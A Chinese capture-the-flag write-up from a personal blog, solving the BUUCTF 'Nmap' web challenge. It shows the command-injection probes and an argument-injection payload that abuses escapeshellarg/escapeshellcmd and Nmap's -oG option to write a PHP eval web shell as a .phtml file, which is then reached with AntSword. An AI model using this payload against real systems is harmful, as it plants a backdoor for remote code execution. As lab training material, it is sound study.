BUUCTF-Web-[网鼎杯 2020 朱雀组]Nmap
本文为记录个人信安小白的刷题路程,大佬勿喷,也同时希望文章能对您有所帮助
打开靶机,看到一个扫描IP的执行框,
查看源码可以得到flag文件位置,
输入个IP试试,
回显结果很像Nmap扫描结果,结和题目可以确定这道题考查Nmap
扫描命令,
然后他会把扫描结果放进一个文件里。
尝试直接拼接命令,
1 | 127.0.0.1 ;ls |
多了个转义符号,测试一下单引号'
,
1 | 127.0.0.1 'ls |
根据上面的回显可以推测后端有escapeshellarg()
和escapeshellcmd()
对传入的参数的过滤,
这道题的源码逻辑和[BUUCTF 2018]Online Tool很相似,都是这两个函数一起使用产生的漏洞点,
构造语句写入一句话木马,
payload:
1 | '<?php @eval($_POST["hack"]);?> -oG hack.php ' //末尾的空格不能忽略,不然文件名会变为hack.php' 会多个引号 |
有过滤,检测发现是php
被过滤,
1 | '<?= @eval($_POST["hack"]);?> -oG hack.phtml ' //末尾的空格不能忽略,不然文件名会变为hack.php' 会多个引号 |
<?=
相当于<?php echo
,
访问hack.phtml
,
写入成功,
连接蚁剑,
获得flag
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 半枫!